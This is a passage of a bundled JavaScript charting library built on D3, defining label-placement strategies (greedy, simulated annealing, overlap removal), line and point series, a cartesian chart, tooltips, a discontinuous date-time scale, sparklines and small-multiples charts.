label.position = function (x) {
if (!arguments.length) {
return position;
}
position = d3.functor(x);
return label;
};
label.component = function (value) {
if (!arguments.length) {
return component;
}
component = value;
return label;
};
return label;
}
var textLabel = (function (layoutStrategy) {
var padding = 2;
var value = function value(x) {
return x;
};
var textJoin = dataJoinUtil().selector('text').element('text');
var rectJoin = dataJoinUtil().selector('rect').element('rect');
var pointJoin = dataJoinUtil().selector('circle').element('circle');
var textLabel = function textLabel(selection) {
selection.each(function (data, index) {
var width = Number(this.getAttribute('layout-width'));
var height = Number(this.getAttribute('layout-height'));
var rect = rectJoin(this, [data]);
rect.attr({
'width': width,
'height': height
});
var anchorX = Number(this.getAttribute('anchor-x'));
var anchorY = Number(this.getAttribute('anchor-y'));
var circle = pointJoin(this, [data]);
circle.attr({
'r': 2,
'cx': anchorX,
'cy': anchorY
});
var text = textJoin(this, [data]);
text.enter().attr({
'dy': '0.9em',
'transform': 'translate(' + padding + ', ' + padding + ')'
});
text.text(value);
});
};
textLabel.padding = function (x) {
if (!arguments.length) {
return padding;
}
padding = x;
return textLabel;
};
textLabel.value = function (x) {
if (!arguments.length) {
return value;
}
value = d3.functor(x);
return textLabel;
};
return textLabel;
})
var isIntersecting = function isIntersecting(a, b) {
return !(a.x >= b.x + b.width || a.x + a.width <= b.x || a.y >= b.y + b.height || a.y + a.height <= b.y);
};
var intersect = (function (a, b) {
if (isIntersecting(a, b)) {
var left = Math.max(a.x, b.x);
var right = Math.min(a.x + a.width, b.x + b.width);
var top = Math.max(a.y, b.y);
var bottom = Math.min(a.y + a.height, b.y + b.height);
return (right - left) * (bottom - top);
} else {
return 0;
}
})
// computes the area of overlap between the rectangle with the given index with the
// rectangles in the array
var collisionArea = function collisionArea(rectangles, index) {
return d3.sum(rectangles.map(function (d, i) {
return index === i ? 0 : intersect(rectangles[index], d);
}));
};
// computes the total overlapping area of all of the rectangles in the given array
var totalCollisionArea = function totalCollisionArea(rectangles) {
return d3.sum(rectangles.map(function (_, i) {
return collisionArea(rectangles, i);
}));
};
// searches for a minimum when applying the given accessor to each item within the supplied array.
// The returned array has the following form:
// [minumum accessor value, datum, index]
var minimum = (function (data, accessor) {
return data.map(function (dataPoint, index) {
return [accessor(dataPoint, index), dataPoint, index];
}).reduce(function (accumulator, dataPoint) {
return accumulator[0] > dataPoint[0] ? dataPoint : accumulator;
}, [Number.MAX_VALUE, null, -1]);
})
function getPlacement(x, y, width, height, location) {
return {
x: x,
y: y,
width: width,
height: height,
location: location
};
}
// returns all the potential placements of the given label
var placements = (function (label) {
var x = label.x;
var y = label.y;
var width = label.width;
var height = label.height;
return [getPlacement(x, y, width, height, 'bottom-right'), getPlacement(x - width, y, width, height, 'bottom-left'), getPlacement(x - width, y - height, width, height, 'top-left'), getPlacement(x, y - height, width, height, 'top-right'), getPlacement(x, y - height / 2, width, height, 'middle-right'), getPlacement(x - width / 2, y, width, height, 'bottom-center'), getPlacement(x - width, y - height / 2, width, height, 'middle-left'), getPlacement(x - width / 2, y - height, width, height, 'top-center')];
})
function greedy () {
var bounds = [0, 0];
var scorer = function scorer(layout) {
var areaOfCollisions = totalCollisionArea(layout);
var areaOutsideContainer = 0;
if (bounds[0] !== 0 && bounds[1] !== 0) {
var containerRect = {
x: 0, y: 0, width: bounds[0], height: bounds[1]
};
areaOutsideContainer = d3.sum(layout.map(function (d) {
var areaOutside = d.width * d.height - intersect(d, containerRect);
// this bias is twice as strong as the overlap penalty
return areaOutside * 2;
}));
}
return areaOfCollisions + areaOutsideContainer;
};
var strategy = function strategy(data) {
var rectangles = [];
data.forEach(function (rectangle) {
// add this rectangle - in all its possible placements
var candidateConfigurations = placements(rectangle).map(function (placement) {
var copy = rectangles.slice();
copy.push(placement);
return copy;
});
// keep the one the minimises the 'score'
rectangles = minimum(candidateConfigurations, scorer)[1];
});
return rectangles;
};
strategy.bounds = function (x) {
if (!arguments.length) {
return bounds;
}
bounds = x;
return strategy;
};
return strategy;
}
var randomItem = function randomItem(array) {
return array[randomIndex(array)];
};
var randomIndex = function randomIndex(array) {
return Math.floor(Math.random() * array.length);
};
var cloneAndReplace = function cloneAndReplace(array, index, replacement) {
var clone = array.slice();
clone[index] = replacement;
return clone;
};
var annealing = (function () {
var temperature = 1000;
var cooling = 1;
var bounds = [0, 0];
function getPotentialState(originalData, iteratedData) {
// For one point choose a random other placement.
var victimLabelIndex = randomIndex(originalData);
var label = originalData[victimLabelIndex];
var replacements = placements(label);
var replacement = randomItem(replacements);
return cloneAndReplace(iteratedData, victimLabelIndex, replacement);
}
function scorer(layout) {
// penalise collisions
var collisionArea = totalCollisionArea(layout);
// penalise rectangles falling outside of the bounds
var areaOutsideContainer = 0;
if (bounds[0] !== 0 && bounds[1] !== 0) {
var containerRect = {
x: 0, y: 0, width: bounds[0], height: bounds[1]
};
areaOutsideContainer = d3.sum(layout.map(function (d) {
var areaOutside = d.width * d.height - intersect(d, containerRect);
// this bias is twice as strong as the overlap penalty
return areaOutside * 2;
}));
}
// penalise certain orientations
var orientationBias = d3.sum(layout.map(function (d) {
// this bias is not as strong as overlap penalty
var area = d.width * d.height / 4;
if (d.location === 'bottom-right') {
area = 0;
}
if (d.location === 'middle-right' || d.location === 'bottom-center') {
area = area / 2;
}
return area;
}));
return collisionArea + areaOutsideContainer + orientationBias;
}
var strategy = function strategy(data) {
var originalData = data;
var iteratedData = data;
var lastScore = Infinity;
var currentTemperature = temperature;
while (currentTemperature > 0) {
var potentialReplacement = getPotentialState(originalData, iteratedData);
var potentialScore = scorer(potentialReplacement);
// Accept the state if it's a better state
// or at random based off of the difference between scores.
// This random % helps the algorithm break out of local minima
var probablityOfChoosing = Math.exp((lastScore - potentialScore) / currentTemperature);
if (potentialScore < lastScore || probablityOfChoosing > Math.random()) {
iteratedData = potentialReplacement;
lastScore = potentialScore;
}
currentTemperature -= cooling;
}
return iteratedData;
};
strategy.temperature = function (x) {
if (!arguments.length) {
return temperature;
}
temperature = x;
return strategy;
};
strategy.cooling = function (x) {
if (!arguments.length) {
return cooling;
}
cooling = x;
return strategy;
};
strategy.bounds = function (x) {
if (!arguments.length) {
return bounds;
}
bounds = x;
return strategy;
};
return strategy;
})
// iteratively remove the rectangle with the greatest area of collision
var removeOverlaps = (function (adaptedStrategy) {
adaptedStrategy = adaptedStrategy || function (x) {
return x;
};
var removeOverlaps = function removeOverlaps(layout) {
layout = adaptedStrategy(layout);
// returns a function that computes the area of overlap for rectangles
// in the given layout array
var scorerForLayout = function scorerForLayout(layout) {
return function (_, i) {
return -collisionArea(layout, i);
};
};
var iterate = true;
do {
// apply the overlap calculation to visible rectangles
var filteredLayout = layout.filter(function (d) {
return !d.hidden;
});
var min = minimum(filteredLayout, scorerForLayout(filteredLayout));
if (min[0] < 0) {
// hide the rectangle with the greatest collision area
min[1].hidden = true;
} else {
iterate = false;
}
} while (iterate);
return layout;
};
rebindAll$1(removeOverlaps, adaptedStrategy);
return removeOverlaps;
})
var boundingBox = (function () {
var bounds = [0, 0];
var strategy = function strategy(data) {
return data.map(function (d, i) {
var tx = d.x;
var ty = d.y;
if (tx + d.width > bounds[0]) {
tx -= d.width;
}
if (ty + d.height > bounds[1]) {
ty -= d.height;
}
return { height: d.height, width: d.width, x: tx, y: ty };
});
};
strategy.bounds = function (value) {
if (!arguments.length) {
return bounds;
}
bounds = value;
return strategy;
};
return strategy;
})
function label (strategy) {
var adaptee = labelLayout(strategy);
var xScale = d3.scale.identity(),
yScale = d3.scale.identity();
var label = function label(selection) {
// automatically set the bounds of the strategy based on the scale range
if (strategy && strategy.bounds) {
var xRange = range(xScale),
yRange = range(yScale);
strategy.bounds([Math.max(xRange[0], xRange[1]), Math.max(yRange[0], yRange[1])]);
}
selection.call(adaptee);
};
rebindAll(label, adaptee);
label.xScale = function (value) {
if (!arguments.length) {
return xScale;
}
xScale = value;
return label;
};
label.yScale = function (value) {
if (!arguments.length) {
return yScale;
}
yScale = value;
return label;
};
return label;
}
var layout = {
label: label,
textLabel: textLabel,
strategy: {
boundingBox: boundingBox,
greedy: greedy,
annealing: annealing,
removeOverlaps: removeOverlaps
}
};
function xyBase () {
var xScale = d3.time.scale(),
yScale = d3.scale.linear(),
y0Value = d3.functor(0),
x0Value = d3.functor(0),
xValue = function xValue(d, i) {
return d.x;
},
yValue = function yValue(d, i) {
return d.y;
};
function base() {}
base.x0 = function (d, i) {
return xScale(x0Value(d, i));
};
base.y0 = function (d, i) {
return yScale(y0Value(d, i));
};
base.x = base.x1 = function (d, i) {
return xScale(xValue(d, i));
};
base.y = base.y1 = function (d, i) {
return yScale(yValue(d, i));
};
base.defined = function (d, i) {
return defined(x0Value, y0Value, xValue, yValue)(d, i);
};
base.xScale = function (x) {
if (!arguments.length) {
return xScale;
}
xScale = x;
return base;
};
base.yScale = function (x) {
if (!arguments.length) {
return yScale;
}
yScale = x;
return base;
};
base.x0Value = function (x) {
if (!arguments.length) {
return x0Value;
}
x0Value = d3.functor(x);
return base;
};
base.y0Value = function (x) {
if (!arguments.length) {
return y0Value;
}
y0Value = d3.functor(x);
return base;
};
base.xValue = base.x1Value = function (x) {
if (!arguments.length) {
return xValue;
}
xValue = d3.functor(x);
return base;
};
base.yValue = base.y1Value = function (x) {
if (!arguments.length) {
return yValue;
}
yValue = d3.functor(x);
return base;
};
return base;
}
function _line () {
var decorate = noop;
var base = xyBase();
var lineData = d3.svg.line().defined(base.defined).x(base.x).y(base.y);
var dataJoin$$ = dataJoin().selector('path.line').element('path').attr('class', 'line');
var line = function line(selection) {
selection.each(function (data, index) {
var path = dataJoin$$(this, [data]);
path.attr('d', lineData);
decorate(path, data, index);
});
};
line.decorate = function (x) {
if (!arguments.length) {
return decorate;
}
decorate = x;
return line;
};
d3.rebind(line, base, 'xScale', 'xValue', 'yScale', 'yValue');
d3.rebind(line, dataJoin$$, 'key');
d3.rebind(line, lineData, 'interpolate', 'tension');
return line;
}
// A rectangle is an object with top, left, bottom and right properties. Component
// margin or padding properties can accept an integer, which is converted to a rectangle where each
// property equals the given value. Also, a margin / padding may have properties missing, in
// which case they default to zero.
// This function expand an integer to a rectangle and fills missing properties.
function expandRect (margin) {
var expandedRect = margin;
if (typeof expandedRect === 'number') {
expandedRect = {
top: margin,
bottom: margin,
left: margin,
right: margin
};
}
['top', 'bottom', 'left', 'right'].forEach(function (direction) {
if (!expandedRect[direction]) {
expandedRect[direction] = 0;
}
});
return expandedRect;
}
function cartesian (xScale, yScale) {
xScale = xScale || d3.scale.linear();
yScale = yScale || d3.scale.linear();
var margin = {
bottom: 30,
right: 30
},
yLabel = '',
xLabel = '',
xBaseline = null,
yBaseline = null,
chartLabel = '',
plotArea = _line(),
decorate = noop;
// Each axis-series has a cross-scale which is defined as an identity
// scale. If no baseline function is supplied, the axis is positioned
// using the cross-scale range extents. If a baseline function is supplied
// it is transformed via the respective scale.
var xAxis = axis().orient('bottom').baseline(function () {
if (xBaseline !== null) {
return yScale(xBaseline.apply(this, arguments));
} else {
var r = range(yScale);
return xAxis.orient() === 'bottom' ? r[0] : r[1];
}
});
var yAxis = axis().orient('right').baseline(function () {
if (yBaseline !== null) {
return xScale(yBaseline.apply(this, arguments));
} else {
var r = range(xScale);
return yAxis.orient() === 'left' ? r[0] : r[1];
}
});
var containerDataJoin = dataJoin().selector('svg.cartesian-chart').element('svg').attr({ 'class': 'cartesian-chart', 'layout-style': 'flex: 1' });
var cartesian = function cartesian(selection) {
selection.each(function (data, index) {
var container = d3.select(this);
var svg = containerDataJoin(container, [data]);
svg.enter().call(function (s) {
// container
var plotContainer = s.append('g').classed('plot-area-container', true);
plotContainer.append('rect').classed('background', true).layout({ position: 'absolute', top: 0, bottom: 0, left: 0, right: 0 });
// axes
var axesContainer = plotContainer.append('g').classed('axes-container', true);
axesContainer.append('g').classed('x-axis', true).layout({ height: 0, width: 0 });
axesContainer.append('g').classed('y-axis', true).layout({ height: 0, width: 0 });
// plot area
plotContainer.append('svg').classed('plot-area', true).layout({ position: 'absolute', top: 0, bottom: 0, left: 0, right: 0 });
// label containers
plotContainer.append('g').classed('x-axis label-container', true).append('g').layout({ height: 0, width: 0 }).append('text').classed('label', true).attr('dy', '-0.5em');
plotContainer.append('g').classed('y-axis label-container', true).append('g').layout({ height: 0, width: 0 }).append('text').classed('label', true);
plotContainer.append('g').classed('title label-container', true).append('g').layout({ height: 0, width: 0 }).append('text').classed('label', true);
});
var expandedMargin = expandRect(margin);
svg.select('.plot-area-container').layout({
position: 'absolute',
top: expandedMargin.top,
left: expandedMargin.left,
bottom: expandedMargin.bottom,
right: expandedMargin.right
});
svg.select('.title').layout({
position: 'absolute',
top: 0,
alignItems: 'center',
left: expandedMargin.left,
right: expandedMargin.right
});
var yAxisLayout = {
position: 'absolute',
top: expandedMargin.top,
bottom: expandedMargin.bottom,
alignItems: 'center',
flexDirection: 'row'
};
yAxisLayout[yAxis.orient()] = 0;
svg.select('.y-axis.label-container').attr('class', 'y-axis label-container ' + yAxis.orient()).layout(yAxisLayout);
var xAxisLayout = {
position: 'absolute',
left: expandedMargin.left,
right: expandedMargin.right,
alignItems: 'center'
};
xAxisLayout[xAxis.orient()] = 0;
svg.select('.x-axis.label-container').attr('class', 'x-axis label-container ' + xAxis.orient()).layout(xAxisLayout);
// perform the flexbox / css layout
container.layout();
// update the label text
svg.select('.title .label').text(chartLabel);
svg.select('.y-axis.label-container .label').text(yLabel).attr('transform', yAxis.orient() === 'right' ? 'rotate(90)' : 'rotate(-90)');
svg.select('.x-axis.label-container .label').text(xLabel);
// set the axis ranges
var plotAreaContainer = svg.select('.plot-area');
setRange(xScale, [0, plotAreaContainer.layout('width')]);
setRange(yScale, [plotAreaContainer.layout('height'), 0]);
// render the axes
xAxis.xScale(xScale).yScale(d3.scale.identity());
yAxis.yScale(yScale).xScale(d3.scale.identity());
svg.select('.axes-container .x-axis').call(xAxis);
svg.select('.axes-container .y-axis').call(yAxis);
// render the plot area
plotArea.xScale(xScale).yScale(yScale);
plotAreaContainer.call(plotArea);
decorate(svg, data, index);
});
};
var scaleExclusions = exclude(/range\w*/, // the scale range is set via the component layout
/tickFormat/ // use axis.tickFormat instead (only present on linear scales)
);
rebindAll(cartesian, xScale, scaleExclusions, exclude('ticks'), prefix('x'));
rebindAll(cartesian, yScale, scaleExclusions, exclude('ticks'), prefix('y'));
// The scale ticks method is a stateless method that returns (roughly) the number of ticks
// requested. This is subtley different from the axis ticks methods that simply stores the given arguments
// for invocation of the scale method at some point in the future.
// Here we expose the underling scale ticks method in case the user want to generate their own ticks.
if (!isOrdinal(xScale)) {
rebindAll(cartesian, xScale, includeMap({ 'ticks': 'xScaleTicks' }));
}
if (!isOrdinal(yScale)) {
rebindAll(cartesian, yScale, includeMap({ 'ticks': 'yScaleTicks' }));
}
var axisExclusions = exclude('baseline', // the axis baseline is adapted so is not exposed directly
'xScale', 'yScale' // these are set by this components
);
rebindAll(cartesian, xAxis, axisExclusions, prefix('x'));
rebindAll(cartesian, yAxis, axisExclusions, prefix('y'));
cartesian.xBaseline = function (x) {
if (!arguments.length) {
return xBaseline;
}
xBaseline = d3.functor(x);
return cartesian;
};
cartesian.yBaseline = function (x) {
if (!arguments.length) {
return yBaseline;
}
yBaseline = d3.functor(x);
return cartesian;
};
cartesian.chartLabel = function (x) {
if (!arguments.length) {
return chartLabel;
}
chartLabel = x;
return cartesian;
};
cartesian.plotArea = function (x) {
if (!arguments.length) {
return plotArea;
}
plotArea = x;
return cartesian;
};
cartesian.xLabel = function (x) {
if (!arguments.length) {
return xLabel;
}
xLabel = x;
return cartesian;
};
cartesian.margin = function (x) {
if (!arguments.length) {
return margin;
}
margin = x;
return cartesian;
};
cartesian.yLabel = function (x) {
if (!arguments.length) {
return yLabel;
}
yLabel = x;
return cartesian;
};
cartesian.decorate = function (x) {
if (!arguments.length) {
return decorate;
}
decorate = x;
return cartesian;
};
return cartesian;
}
function tooltip () {
var split = 50,
decorate = noop;
var items = [['datum:', function (d) {
return d.datum;
}]];
var dataJoin$$ = dataJoin().selector('g.cell').element('g').attr('class', 'cell tooltip');
var tooltip = function tooltip(selection) {
selection.each(function (data, index) {
var container = d3.select(this);
var legendData = items.map(function (item, i) {
return {
datum: data,
label: d3.functor(item[0]),
value: d3.functor(item[1])
};
});
var g = dataJoin$$(container, legendData);
g.enter().layout({
'flex': 1,
'flexDirection': 'row'
});
g.enter().append('text').attr('class', 'label').attr('dy', '0.71em').layout('flex', split);
g.enter().append('text').attr('class', 'value').attr('dy', '0.71em').layout('flex', 100 - split);
g.select('.label').text(function (d, i) {
return d.label.call(this, d.datum, i);
});
g.select('.value').text(function (d, i) {
return d.value.call(this, d.datum, i);
});
decorate(g, data, index);
container.layout();
});
};
tooltip.decorate = function (x) {
if (!arguments.length) {
return decorate;
}
decorate = x;
return tooltip;
};
tooltip.split = function (x) {
if (!arguments.length) {
return split;
}
split = x;
return tooltip;
};
tooltip.items = function (x) {
if (!arguments.length) {
return items;
}
items = x;
return tooltip;
};
return tooltip;
}
function identity$1 () {
var identity$$ = {};
identity$$.distance = function (startDate, endDate) {
return endDate.getTime() - startDate.getTime();
};
identity$$.offset = function (startDate, ms) {
return new Date(startDate.getTime() + ms);
};
identity$$.clampUp = identity;
identity$$.clampDown = identity;
identity$$.copy = function () {
return identity$$;
};
return identity$$;
}
// obtains the ticks from the given scale, transforming the result to ensure
// it does not include any discontinuities
function tickTransformer(ticks, discontinuityProvider, domain) {
var clampedTicks = ticks.map(function (tick, index) {
if (index < ticks.length - 1) {
return discontinuityProvider.clampUp(tick);
} else {
var clampedTick = discontinuityProvider.clampUp(tick);
return clampedTick < domain[1] ? clampedTick : discontinuityProvider.clampDown(tick);
}
});
var uniqueTicks = clampedTicks.reduce(function (arr, tick) {
if (arr.filter(function (f) {
return f.getTime() === tick.getTime();
}).length === 0) {
arr.push(tick);
}
return arr;
}, []);
return uniqueTicks;
}
/**
* The `fc.scale.dateTime` scale renders a discontinuous date time scale, i.e. a time scale that incorporates gaps.
* As an example, you can use this scale to render a chart where the weekends are skipped.
*
* @type {object}
* @memberof fc.scale
* @class fc.scale.dateTime
*/
function dateTimeScale(adaptedScale, discontinuityProvider) {
if (!arguments.length) {
adaptedScale = d3.time.scale();
discontinuityProvider = identity$1();
}
function scale(date) {
var domain = adaptedScale.domain();
var range = adaptedScale.range();
// The discontinuityProvider is responsible for determine the distance between two points
// along a scale that has discontinuities (i.e. sections that have been removed).
// the scale for the given point 'x' is calculated as the ratio of the discontinuous distance
// over the domain of this axis, versus the discontinuous distance to 'x'
var totalDomainDistance = discontinuityProvider.distance(domain[0], domain[1]);
var distanceToX = discontinuityProvider.distance(domain[0], date);
var ratioToX = distanceToX / totalDomainDistance;
var scaledByRange = ratioToX * (range[1] - range[0]) + range[0];
return scaledByRange;
}
scale.invert = function (x) {
var domain = adaptedScale.domain();
var range = adaptedScale.range();
var ratioToX = (x - range[0]) / (range[1] - range[0]);
var totalDomainDistance = discontinuityProvider.distance(domain[0], domain[1]);
var distanceToX = ratioToX * totalDomainDistance;
return discontinuityProvider.offset(domain[0], distanceToX);
};
scale.domain = function (x) {
if (!arguments.length) {
return adaptedScale.domain();
}
// clamp the upper and lower domain values to ensure they
// do not fall within a discontinuity
var domainLower = discontinuityProvider.clampUp(x[0]);
var domainUpper = discontinuityProvider.clampDown(x[1]);
adaptedScale.domain([domainLower, domainUpper]);
return scale;
};
scale.nice = function () {
adaptedScale.nice();
var domain = adaptedScale.domain();
var domainLower = discontinuityProvider.clampUp(domain[0]);
var domainUpper = discontinuityProvider.clampDown(domain[1]);
adaptedScale.domain([domainLower, domainUpper]);
return scale;
};
scale.ticks = function () {
var ticks = adaptedScale.ticks.apply(this, arguments);
return tickTransformer(ticks, discontinuityProvider, scale.domain());
};
scale.copy = function () {
return dateTimeScale(adaptedScale.copy(), discontinuityProvider.copy());
};
scale.discontinuityProvider = function (x) {
if (!arguments.length) {
return discontinuityProvider;
}
discontinuityProvider = x;
return scale;
};
return d3.rebind(scale, adaptedScale, 'range', 'rangeRound', 'interpolate', 'clamp', 'tickFormat');
}
function exportedScale() {
return dateTimeScale();
}
exportedScale.tickTransformer = tickTransformer;
// returns the width and height of the given element minus the padding.
function innerDimensions (element) {
var style = element.ownerDocument.defaultView.getComputedStyle(element);
return {
width: parseFloat(style.width) - parseFloat(style.paddingLeft) - parseFloat(style.paddingRight),
height: parseFloat(style.height) - parseFloat(style.paddingTop) - parseFloat(style.paddingBottom)
};
}
// The multi series does some data-join gymnastics to ensure we don't -
// * Create unnecessary intermediate DOM nodes
// * Manipulate the data specified by the user
// This is achieved by data joining the series array to the container but
// overriding where the series value is stored on the node (__series__) and
// forcing the node datum (__data__) to be the user supplied data (via mapping).
function _multi () {
var xScale = d3.time.scale(),
yScale = d3.scale.linear(),
series = [],
mapping = context,
key = index,
decorate = noop;
var dataJoin$$ = dataJoin().selector('g.multi').children(true).attr('class', 'multi').element('g').key(function (d, i) {
// This function is invoked twice, the first pass is to pull the key
// value from the DOM nodes and the second pass is to pull the key
// value from the data values.
// As we store the series as an additional property on the node, we
// look for that first and if we find it assume we're being called
// during the first pass. Otherwise we assume it's the second pass
// and pull the series from the data value.
var dataSeries = this.__series__ || d;
return key.call(this, dataSeries, i);
});
var multi = function multi(selection) {
selection.each(function (data, i) {
var g = dataJoin$$(this, series);
g.each(function (dataSeries, seriesIndex) {
// We must always assign the series to the node, as the order
// may have changed. N.B. in such a case the output is most
// likely garbage (containers should not be re-used) but by
// doing this we at least make it debuggable garbage :)
this.__series__ = dataSeries;
(dataSeries.xScale || dataSeries.x).call(dataSeries, xScale);
(dataSeries.yScale || dataSeries.y).call(dataSeries, yScale);
d3.select(this).datum(mapping.call(data, dataSeries, seriesIndex)).call(dataSeries);
});
// order is not available on a transition selection
d3.selection.prototype.order.call(g);
decorate(g, data, i);
});
};
multi.xScale = function (x) {
if (!arguments.length) {
return xScale;
}
xScale = x;
return multi;
};
multi.yScale = function (x) {
if (!arguments.length) {
return yScale;
}
yScale = x;
return multi;
};
multi.series = function (x) {
if (!arguments.length) {
return series;
}
series = x;
return multi;
};
multi.mapping = function (x) {
if (!arguments.length) {
return mapping;
}
mapping = x;
return multi;
};
multi.key = function (x) {
if (!arguments.length) {
return key;
}
key = x;
return multi;
};
multi.decorate = function (x) {
if (!arguments.length) {
return decorate;
}
decorate = x;
return multi;
};
return multi;
}
function point () {
var decorate = noop,
symbol = d3.svg.symbol();
var base = xyBase();
var dataJoin$$ = dataJoin().selector('g.point').element('g').attr('class', 'point');
var containerTransform = function containerTransform(d, i) {
return 'translate(' + base.x(d, i) + ', ' + base.y(d, i) + ')';
};
var point = function point(selection) {
selection.each(function (data, index) {
var filteredData = data.filter(base.defined);
var g = dataJoin$$(this, filteredData);
g.enter().attr('transform', containerTransform).append('path');
g.attr('transform', containerTransform).select('path').attr('d', symbol);
decorate(g, data, index);
});
};
point.decorate = function (x) {
if (!arguments.length) {
return decorate;
}
decorate = x;
return point;
};
d3.rebind(point, base, 'xScale', 'xValue', 'yScale', 'yValue');
d3.rebind(point, dataJoin$$, 'key');
d3.rebind(point, symbol, 'size', 'type');
return point;
}
function sparkline () {
// creates an array with four elements, representing the high, low, open and close
// values of the given array
function highLowOpenClose(data) {
var xValueAccessor = sparkline.xValue(),
yValueAccessor = sparkline.yValue();
var high = d3.max(data, yValueAccessor);
var low = d3.min(data, yValueAccessor);
function elementWithYValue(value) {
return data.filter(function (d) {
return yValueAccessor(d) === value;
})[0];
}
return [{
x: xValueAccessor(data[0]),
y: yValueAccessor(data[0])
}, {
x: xValueAccessor(elementWithYValue(high)),
y: high
}, {
x: xValueAccessor(elementWithYValue(low)),
y: low
}, {
x: xValueAccessor(data[data.length - 1]),
y: yValueAccessor(data[data.length - 1])
}];
}
var xScale = exportedScale();
var yScale = d3.scale.linear();
var radius = 2;
var line = _line();
// configure the point series to render the data from the
// highLowOpenClose function
var point$$ = point().xValue(function (d) {
return d.x;
}).yValue(function (d) {
return d.y;
}).decorate(function (sel) {
sel.attr('class', function (d, i) {
switch (i) {
case 0:
return 'open';
case 1:
return 'high';
case 2:
return 'low';
case 3:
return 'close';
}
});
});
var multi = _multi().series([line, point$$]).mapping(function (series) {
switch (series) {
case point$$:
return highLowOpenClose(this);
default:
return this;
}
});
var sparkline = function sparkline(selection) {
point$$.size(radius * radius * Math.PI);
selection.each(function (data) {
var container = d3.select(this);
var dimensions = innerDimensions(this);
var margin = radius;
xScale.range([margin, dimensions.width - margin]);
yScale.range([dimensions.height - margin, margin]);
multi.xScale(xScale).yScale(yScale);
container.call(multi);
});
};
rebindAll(sparkline, xScale, include('discontinuityProvider', 'domain'), prefix('x'));
rebindAll(sparkline, yScale, include('domain'), prefix('y'));
rebindAll(sparkline, line, include('xValue', 'yValue'));
sparkline.xScale = function () {
return xScale;
};
sparkline.yScale = function () {
return yScale;
};
sparkline.radius = function (x) {
if (!arguments.length) {
return radius;
}
radius = x;
return sparkline;
};
return sparkline;
}
function smallMultiples (xScale, yScale) {
xScale = xScale || d3.scale.linear();
yScale = yScale || d3.scale.linear();
var padding = 10,
columns = 9,
decorate = noop,
plotArea = _line(),
margin = {
bottom: 30,
right: 30
},
values = function values(d) {
return d.values;
},
key = function key(d) {
return d.key;
},
xDomain,
yDomain;
var xAxis = axis$1().ticks(2);
var yAxis = axis$1().orient('right').ticks(3);
function classedDataJoin(clazz) {
return dataJoin().selector('g.' + clazz).element('g').attr('class', clazz);
}
var dataJoin$$ = classedDataJoin('multiple'),
xAxisDataJoin = classedDataJoin('x-axis'),
yAxisDataJoin = classedDataJoin('y-axis');
function cellForIndex(index) {
return [index % columns, Math.floor(index / columns)];
}
function cellsAreEqual(a, b) {
return a[0] === b[0] && a[1] === b[1];
}
function domainsForCell(cell, data) {
var dataForCell = data.filter(function (datum, index) {
return cellsAreEqual(cellForIndex(index), cell);
});
return [xDomain(dataForCell), yDomain(dataForCell)];
}
var multiples = function multiples(selection) {
selection.each(function (data, index) {
var container = d3.select(this);
var expandedMargin = expandRect(margin);
expandedMargin.position = 'absolute';
var svg = container.selectAll('svg').data([data]);
svg.enter().append('svg').layout('flex', 1).append('g').attr('class', 'multiples-chart');
var plotAreaContainer = svg.select('g').layout(expandedMargin);
container.layout();
var rows = Math.ceil(data.length / columns);
var multipleWidth = plotAreaContainer.layout('width') / columns - padding;
var multipleHeight = plotAreaContainer.layout('height') / rows - padding;
function translationForMultiple(row, column) {
return {
xOffset: (multipleWidth + padding) * row,
yOffset: (multipleHeight + padding) * column
};
}
setRange(xScale, [0, multipleWidth]);
setRange(yScale, [multipleHeight, 0]);
// create a container for each multiple chart
var multipleContainer = dataJoin$$(plotAreaContainer, data);
multipleContainer.attr('transform', function (d, i) {
var translation = translationForMultiple(i % columns, Math.floor(i / columns));
return 'translate(' + translation.xOffset + ',' + translation.yOffset + ')';
});
// within each, add an inner 'g' and background rect
var inner = multipleContainer.enter().append('g');
inner.append('rect').attr('class', 'background');
inner.append('g').attr('transform', 'translate(' + multipleWidth / 2 + ', 0)').append('text').attr('class', 'label').text(key);
multipleContainer.select('g').each(function (d, i) {
var cell = cellForIndex(i);
var domains = domainsForCell(cell, data);
xScale.domain(domains[0]);
yScale.domain(domains[1]);
plotArea.xScale(xScale).yScale(yScale);
d3.select(this).datum(values).call(plotArea);
});
multipleContainer.select('rect').attr({ width: multipleWidth, height: multipleHeight });
decorate(multipleContainer, data, index);
var xAxisContainer = xAxisDataJoin(plotAreaContainer, d3.range(columns));
xAxisContainer.attr('transform', function (d, i) {
var row = xAxis.orient() === 'bottom' ? rows : 0;
var offset = xAxis.orient() === 'bottom' ? 0 : -padding;
var translation = translationForMultiple(i, row);
return 'translate(' + translation.xOffset + ',' + (translation.yOffset + offset) + ')';
}).each(function (d, i) {
var domains = domainsForCell(cellForIndex(i), data);
xScale.domain(domains[0]);
xAxis.scale(xScale);
d3.select(this).call(xAxis);
});
var yAxisContainer = yAxisDataJoin(plotAreaContainer, d3.range(rows));
yAxisContainer.attr('transform', function (d, i) {
var column = yAxis.orient() === 'left' ? 0 : columns;
var offset = yAxis.orient() === 'left' ? -padding : 0;
var translation = translationForMultiple(column, i);
return 'translate(' + (translation.xOffset + offset) + ',' + translation.yOffset + ')';
}).each(function (d, i) {
var domains = domainsForCell(cellForIndex(i), data);
yScale.domain(domains[1]);
yAxis.scale(yScale);
d3.select(this).call(yAxis);
});
});
};
var scaleExclusions = exclude(/range\w*/, // the scale range is set via the component layout
/tickFormat/, // use axis.tickFormat instead (only present on linear scales)
/domain/ // the domain has been adapted to allow it to be expressed as a function
);
rebindAll(multiples, xScale, scaleExclusions, prefix('x'));
rebindAll(multiples, yScale, scaleExclusions, prefix('y'));
rebindAll(multiples, xAxis, prefix('x'));
rebindAll(multiples, yAxis, prefix('y'));
multiples.columns = function (x) {
if (!arguments.length) {
return columns;
}
columns = x;
return multiples;
};
multiples.margin = function (x) {
if (!arguments.length) {
return margin;
}
margin = x;
return multiples;
};
multiples.padding = function (x) {
if (!arguments.length) {
return padding;
}
padding = x;
return multiples;
};
multiples.plotArea = function (x) {
if (!arguments.length) {
return plotArea;
}
plotArea = x;
return multiples;
};
multiples.values = function (x) {
if (!arguments.length) {
return values;
}
values = x;
return multiples;
};
multiples.key = function (x) {
if (!arguments.length) {
return key;
}
key = x;
return multiples;
};
multiples.decorate = function (x) {
if (!arguments.length) {
return decorate;
}
decorate = x;
return multiples;
};
multiples.xDomain = function (x) {
if (!arguments.length) {
return xDomain;
}
xDomain = d3.functor(x);
return multiples;
};
multiples.yDomain = function (x) {
if (!arguments.length) {
return yDomain;
}
yDomain = d3.functor(x);
return multiples;
};
return multiples;
}
var chart = {
cartesian: cartesian,
sparkline: sparkline,
